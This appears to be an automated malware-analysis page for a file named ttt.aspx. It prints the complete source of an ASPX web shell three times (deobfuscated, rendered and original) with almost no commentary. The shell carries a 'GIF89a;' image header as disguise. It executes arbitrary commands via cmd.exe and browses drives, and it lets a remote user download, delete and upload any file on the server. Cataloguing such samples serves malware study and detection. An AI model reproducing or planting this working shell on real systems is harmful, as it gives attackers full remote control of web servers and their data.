PHP Malware Analysis

ttt.aspx

md5: 82cc8274959512d3e2a2cce109375bb7

Jump to:

Screenshot


Attributes

Emails

Title

URLs


Deobfuscated PHP code



GIF89a;
<%-- ASPX Shell by ./CT072 <clownterror072@gmail.com> (2007) --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>

<%
  string outstr = "";
  
  // get pwd
  string dir = Page.MapPath(".") + "/";
  if (Request.QueryString["fdir"] != null)
    dir = Request.QueryString["fdir"] + "/";
  dir = dir.Replace("\\", "/");
  dir = dir.Replace("//", "/");
  
  // build nav for path literal
  string[] dirparts = dir.Split('/');
  string linkwalk = "";  
  foreach (string curpart in dirparts)
  {
    if (curpart.Length == 0)
      continue;
    linkwalk += curpart + "/";
    outstr += string.Format("<a href='?fdir={0}'>{1}/</a>&nbsp;",
                  HttpUtility.UrlEncode(linkwalk),
                  HttpUtility.HtmlEncode(curpart));
  }
  lblPath.Text = outstr;
  
  // create drive list
  outstr = "";
  foreach(DriveInfo curdrive in DriveInfo.GetDrives())
  {
    if (!curdrive.IsReady)
      continue;
    string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
    outstr += string.Format("<a href='?fdir={0}'>{1}</a>&nbsp;",
                  HttpUtility.UrlEncode(driveRoot),
                  HttpUtility.HtmlEncode(driveRoot));
  }
  lblDrives.Text = outstr;

  // send file ?
  if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
  {
    Response.ClearContent();
    Response.WriteFile(Request.QueryString["get"]);
    Response.End();
  }

  // delete file ?
  if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
    File.Delete(Request.QueryString["del"]);  

  // receive files ?
  if(flUp.HasFile)
  {
    string fileName = flUp.FileName;
    int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
    if (splitAt >= 0)
      fileName = flUp.FileName.Substring(splitAt);
    flUp.SaveAs(dir + "/" + fileName);
  }

  // enum directory and generate listing in the right pane
  DirectoryInfo di = new DirectoryInfo(dir);
  outstr = "";
  foreach (DirectoryInfo curdir in di.GetDirectories())
  {
    string fstr = string.Format("<a href='?fdir={0}'>{1}</a>",
                  HttpUtility.UrlEncode(dir + "/" + curdir.Name),
                  HttpUtility.HtmlEncode(curdir.Name));
    outstr += string.Format("<tr><td>{0}</td><td><DIR></td><td></td></tr>", fstr);
  }
  foreach (FileInfo curfile in di.GetFiles())
  {
    string fstr = string.Format("<a href='?get={0}' target='_blank'>{1}</a>",
                  HttpUtility.UrlEncode(dir + "/" + curfile.Name),
                  HttpUtility.HtmlEncode(curfile.Name));
    string astr = string.Format("<a href='?fdir={0}&del={1}'>Del</a>",
                  HttpUtility.UrlEncode(dir),
                  HttpUtility.UrlEncode(dir + "/" + curfile.Name));
    outstr += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fstr, curfile.Length / 1024, astr);
  }
  lblDirOut.Text = outstr;

  // exec cmd ?
  if (txtCmdIn.Text.Length > 0)
  {
    Process p = new Process();
    p.StartInfo.CreateNoWindow = true;
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.WorkingDirectory = dir;
    p.Start();

    lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
    txtCmdIn.Text = "";
  }  
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
  <title>ASPX Shell</title>
  <style type="text/css">
    * { font-family: Arial; font-size: 12px; }
    body { margin: 0px; }
    pre { font-family: Courier New; background-color: #CCCCCC; }
    h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
    h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
    th { text-align: left; background-color: #99CC99; }
    td { background-color: #CCFFCC; }
    pre { margin: 2px; }
  </style>
</head>
<body>
  <h1>ASPX Shell by LT</h1>
    <form id="form1" runat="server">
    <table style="width: 100%; border-width: 0px; padding: 5px;">
    <tr>
      <td style="width: 50%; vertical-align: top;">
        <h2>Shell</h2>        
        <asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
        <asp:Button runat="server" ID="cmdExec" Text="Execute" />
        <pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
      </td>
      <td style="width: 50%; vertical-align: top;">
        <h2>File Browser</h2>
        <p>
          Drives:<br />
          <asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
        </p>
        <p>
          Working directory:<br />
          <b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
        </p>
        <table style="width: 100%">
          <tr>
            <th>Name</th>
            <th>Size KB</th>
            <th style="width: 50px">Actions</th>
          </tr>
          <asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
        </table>
        <p>Upload to this directory:<br />
        <asp:FileUpload runat="server" ID="flUp" />
        <asp:Button runat="server" ID="cmdUpload" Text="Upload" />
        </p>
      </td>
    </tr>
    </table>

    </form>
</body>
</html>{"res":"error","msg":"Subproceso anulado."}


Execution traces


Generated HTML code

<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">

GIF89a;
&lt;%-- ASPX Shell by ./CT072 &lt;clownterror072@gmail.com&gt; (2007) --%&gt;
&lt;%@ Page Language="C#" EnableViewState="false" %&gt;
&lt;%@ Import Namespace="System.Web.UI.WebControls" %&gt;
&lt;%@ Import Namespace="System.Diagnostics" %&gt;
&lt;%@ Import Namespace="System.IO" %&gt;

&lt;%
  string outstr = "";
  
  // get pwd
  string dir = Page.MapPath(".") + "/";
  if (Request.QueryString["fdir"] != null)
    dir = Request.QueryString["fdir"] + "/";
  dir = dir.Replace("\\", "/");
  dir = dir.Replace("//", "/");
  
  // build nav for path literal
  string[] dirparts = dir.Split('/');
  string linkwalk = "";  
  foreach (string curpart in dirparts)
  {
    if (curpart.Length == 0)
      continue;
    linkwalk += curpart + "/";
    outstr += string.Format("&lt;a href='?fdir={0}'&gt;{1}/&lt;/a&gt;&amp;nbsp;",
                  HttpUtility.UrlEncode(linkwalk),
                  HttpUtility.HtmlEncode(curpart));
  }
  lblPath.Text = outstr;
  
  // create drive list
  outstr = "";
  foreach(DriveInfo curdrive in DriveInfo.GetDrives())
  {
    if (!curdrive.IsReady)
      continue;
    string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
    outstr += string.Format("&lt;a href='?fdir={0}'&gt;{1}&lt;/a&gt;&amp;nbsp;",
                  HttpUtility.UrlEncode(driveRoot),
                  HttpUtility.HtmlEncode(driveRoot));
  }
  lblDrives.Text = outstr;

  // send file ?
  if ((Request.QueryString["get"] != null) &amp;&amp; (Request.QueryString["get"].Length &gt; 0))
  {
    Response.ClearContent();
    Response.WriteFile(Request.QueryString["get"]);
    Response.End();
  }

  // delete file ?
  if ((Request.QueryString["del"] != null) &amp;&amp; (Request.QueryString["del"].Length &gt; 0))
    File.Delete(Request.QueryString["del"]);  

  // receive files ?
  if(flUp.HasFile)
  {
    string fileName = flUp.FileName;
    int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
    if (splitAt &gt;= 0)
      fileName = flUp.FileName.Substring(splitAt);
    flUp.SaveAs(dir + "/" + fileName);
  }

  // enum directory and generate listing in the right pane
  DirectoryInfo di = new DirectoryInfo(dir);
  outstr = "";
  foreach (DirectoryInfo curdir in di.GetDirectories())
  {
    string fstr = string.Format("&lt;a href='?fdir={0}'&gt;{1}&lt;/a&gt;",
                  HttpUtility.UrlEncode(dir + "/" + curdir.Name),
                  HttpUtility.HtmlEncode(curdir.Name));
    outstr += string.Format("&lt;tr&gt;&lt;td&gt;{0}&lt;/td&gt;&lt;td&gt;&lt;DIR&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;", fstr);
  }
  foreach (FileInfo curfile in di.GetFiles())
  {
    string fstr = string.Format("&lt;a href='?get={0}' target='_blank'&gt;{1}&lt;/a&gt;",
                  HttpUtility.UrlEncode(dir + "/" + curfile.Name),
                  HttpUtility.HtmlEncode(curfile.Name));
    string astr = string.Format("&lt;a href='?fdir={0}&amp;del={1}'&gt;Del&lt;/a&gt;",
                  HttpUtility.UrlEncode(dir),
                  HttpUtility.UrlEncode(dir + "/" + curfile.Name));
    outstr += string.Format("&lt;tr&gt;&lt;td&gt;{0}&lt;/td&gt;&lt;td&gt;{1:d}&lt;/td&gt;&lt;td&gt;{2}&lt;/td&gt;&lt;/tr&gt;", fstr, curfile.Length / 1024, astr);
  }
  lblDirOut.Text = outstr;

  // exec cmd ?
  if (txtCmdIn.Text.Length &gt; 0)
  {
    Process p = new Process();
    p.StartInfo.CreateNoWindow = true;
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.WorkingDirectory = dir;
    p.Start();

    lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
    txtCmdIn.Text = "";
  }  
%&gt;

&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;

&lt;html xmlns="http://www.w3.org/1999/xhtml" &gt;
&lt;head&gt;
  &lt;title&gt;ASPX Shell&lt;/title&gt;
  &lt;style type="text/css"&gt;
    * { font-family: Arial; font-size: 12px; }
    body { margin: 0px; }
    pre { font-family: Courier New; background-color: #CCCCCC; }
    h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
    h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
    th { text-align: left; background-color: #99CC99; }
    td { background-color: #CCFFCC; }
    pre { margin: 2px; }
  &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;h1&gt;ASPX Shell by LT&lt;/h1&gt;
    &lt;form id="form1" runat="server"&gt;
    &lt;table style="width: 100%; border-width: 0px; padding: 5px;"&gt;
    &lt;tr&gt;
      &lt;td style="width: 50%; vertical-align: top;"&gt;
        &lt;h2&gt;Shell&lt;/h2&gt;        
        &lt;asp:TextBox runat="server" ID="txtCmdIn" Width="300" /&gt;
        &lt;asp:Button runat="server" ID="cmdExec" Text="Execute" /&gt;
        &lt;pre&gt;&lt;asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /&gt;&lt;/pre&gt;
      &lt;/td&gt;
      &lt;td style="width: 50%; vertical-align: top;"&gt;
        &lt;h2&gt;File Browser&lt;/h2&gt;
        &lt;p&gt;
          Drives:&lt;br /&gt;
          &lt;asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" /&gt;
        &lt;/p&gt;
        &lt;p&gt;
          Working directory:&lt;br /&gt;
          &lt;b&gt;&lt;asp:Literal runat="server" ID="lblPath" Mode="passThrough" /&gt;&lt;/b&gt;
        &lt;/p&gt;
        &lt;table style="width: 100%"&gt;
          &lt;tr&gt;
            &lt;th&gt;Name&lt;/th&gt;
            &lt;th&gt;Size KB&lt;/th&gt;
            &lt;th style="width: 50px"&gt;Actions&lt;/th&gt;
          &lt;/tr&gt;
          &lt;asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" /&gt;
        &lt;/table&gt;
        &lt;p&gt;Upload to this directory:&lt;br /&gt;
        &lt;asp:FileUpload runat="server" ID="flUp" /&gt;
        &lt;asp:Button runat="server" ID="cmdUpload" Text="Upload" /&gt;
        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/table&gt;

    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;{"res":"error","msg":"Subproceso anulado."}

</pre></body></html>

Original PHP code



GIF89a;
<%-- ASPX Shell by ./CT072 <clownterror072@gmail.com> (2007) --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>

<%
  string outstr = "";
  
  // get pwd
  string dir = Page.MapPath(".") + "/";
  if (Request.QueryString["fdir"] != null)
    dir = Request.QueryString["fdir"] + "/";
  dir = dir.Replace("\\", "/");
  dir = dir.Replace("//", "/");
  
  // build nav for path literal
  string[] dirparts = dir.Split('/');
  string linkwalk = "";  
  foreach (string curpart in dirparts)
  {
    if (curpart.Length == 0)
      continue;
    linkwalk += curpart + "/";
    outstr += string.Format("<a href='?fdir={0}'>{1}/</a>&nbsp;",
                  HttpUtility.UrlEncode(linkwalk),
                  HttpUtility.HtmlEncode(curpart));
  }
  lblPath.Text = outstr;
  
  // create drive list
  outstr = "";
  foreach(DriveInfo curdrive in DriveInfo.GetDrives())
  {
    if (!curdrive.IsReady)
      continue;
    string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
    outstr += string.Format("<a href='?fdir={0}'>{1}</a>&nbsp;",
                  HttpUtility.UrlEncode(driveRoot),
                  HttpUtility.HtmlEncode(driveRoot));
  }
  lblDrives.Text = outstr;

  // send file ?
  if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
  {
    Response.ClearContent();
    Response.WriteFile(Request.QueryString["get"]);
    Response.End();
  }

  // delete file ?
  if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
    File.Delete(Request.QueryString["del"]);  

  // receive files ?
  if(flUp.HasFile)
  {
    string fileName = flUp.FileName;
    int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
    if (splitAt >= 0)
      fileName = flUp.FileName.Substring(splitAt);
    flUp.SaveAs(dir + "/" + fileName);
  }

  // enum directory and generate listing in the right pane
  DirectoryInfo di = new DirectoryInfo(dir);
  outstr = "";
  foreach (DirectoryInfo curdir in di.GetDirectories())
  {
    string fstr = string.Format("<a href='?fdir={0}'>{1}</a>",
                  HttpUtility.UrlEncode(dir + "/" + curdir.Name),
                  HttpUtility.HtmlEncode(curdir.Name));
    outstr += string.Format("<tr><td>{0}</td><td><DIR></td><td></td></tr>", fstr);
  }
  foreach (FileInfo curfile in di.GetFiles())
  {
    string fstr = string.Format("<a href='?get={0}' target='_blank'>{1}</a>",
                  HttpUtility.UrlEncode(dir + "/" + curfile.Name),
                  HttpUtility.HtmlEncode(curfile.Name));
    string astr = string.Format("<a href='?fdir={0}&del={1}'>Del</a>",
                  HttpUtility.UrlEncode(dir),
                  HttpUtility.UrlEncode(dir + "/" + curfile.Name));
    outstr += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fstr, curfile.Length / 1024, astr);
  }
  lblDirOut.Text = outstr;

  // exec cmd ?
  if (txtCmdIn.Text.Length > 0)
  {
    Process p = new Process();
    p.StartInfo.CreateNoWindow = true;
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.WorkingDirectory = dir;
    p.Start();

    lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
    txtCmdIn.Text = "";
  }  
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
  <title>ASPX Shell</title>
  <style type="text/css">
    * { font-family: Arial; font-size: 12px; }
    body { margin: 0px; }
    pre { font-family: Courier New; background-color: #CCCCCC; }
    h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
    h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
    th { text-align: left; background-color: #99CC99; }
    td { background-color: #CCFFCC; }
    pre { margin: 2px; }
  </style>
</head>
<body>
  <h1>ASPX Shell by LT</h1>
    <form id="form1" runat="server">
    <table style="width: 100%; border-width: 0px; padding: 5px;">
    <tr>
      <td style="width: 50%; vertical-align: top;">
        <h2>Shell</h2>        
        <asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
        <asp:Button runat="server" ID="cmdExec" Text="Execute" />
        <pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
      </td>
      <td style="width: 50%; vertical-align: top;">
        <h2>File Browser</h2>
        <p>
          Drives:<br />
          <asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
        </p>
        <p>
          Working directory:<br />
          <b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
        </p>
        <table style="width: 100%">
          <tr>
            <th>Name</th>
            <th>Size KB</th>
            <th style="width: 50px">Actions</th>
          </tr>
          <asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
        </table>
        <p>Upload to this directory:<br />
        <asp:FileUpload runat="server" ID="flUp" />
        <asp:Button runat="server" ID="cmdUpload" Text="Upload" />
        </p>
      </td>
    </tr>
    </table>

    </form>
</body>
</html>{"res":"error","msg":"Subproceso anulado."}